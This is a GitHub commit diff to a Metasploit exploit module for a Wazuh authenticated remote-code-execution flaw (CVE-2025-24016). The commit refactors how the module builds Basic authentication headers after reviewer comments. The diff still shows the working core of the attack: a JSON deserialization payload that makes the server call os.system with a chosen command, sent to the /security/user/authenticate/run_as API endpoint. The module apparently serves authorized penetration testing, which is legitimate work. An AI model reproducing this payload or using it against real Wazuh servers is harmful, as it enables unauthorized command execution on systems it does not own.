Skip to content

Commit abbcdda

Browse files
committed
update based on adfoster-r7 comments
1 parent 7a9cd79 commit abbcdda

File tree

1 file changed

+3
-8
lines changed

1 file changed

+3
-8
lines changed

modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb

Lines changed: 3 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -70,13 +70,11 @@ def initialize(info = {})
7070
# get Wazuh API token
7171
# return token if API login is successful else nil
7272
def get_api_token
73-
auth = Base64.strict_encode64("#{datastore['API_USER']}:#{datastore['API_PWD']}")
74-
basic_auth = "Basic #{auth}"
7573
res = send_request_cgi({
7674
'method' => 'POST',
7775
'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'),
7876
'headers' => {
79-
'Authorization' => basic_auth.to_s
77+
'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
8078
}
8179
})
8280
return unless res&.code == 200 && res.body.include?('token')
@@ -106,21 +104,18 @@ def get_wazuh_version(api_token)
106104
def execute_command(cmd, _opts = {})
107105
# {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}}
108106
post_data = {
109-
__unhandled_exc__:
110-
{
107+
__unhandled_exc__: {
111108
__class__: 'os.system',
112109
__args__: [ cmd.to_s ]
113110
}
114111
}.to_json
115112

116-
auth = Base64.strict_encode64("#{datastore['API_USER']}:#{datastore['API_PWD']}")
117-
basic_auth = "Basic #{auth}"
118113
send_request_cgi({
119114
'method' => 'POST',
120115
'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'),
121116
'ctype' => 'application/json',
122117
'headers' => {
123-
'Authorization' => basic_auth.to_s
118+
'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
124119
},
125120
'data' => post_data.to_s
126121
})

0 commit comments

Comments
 (0)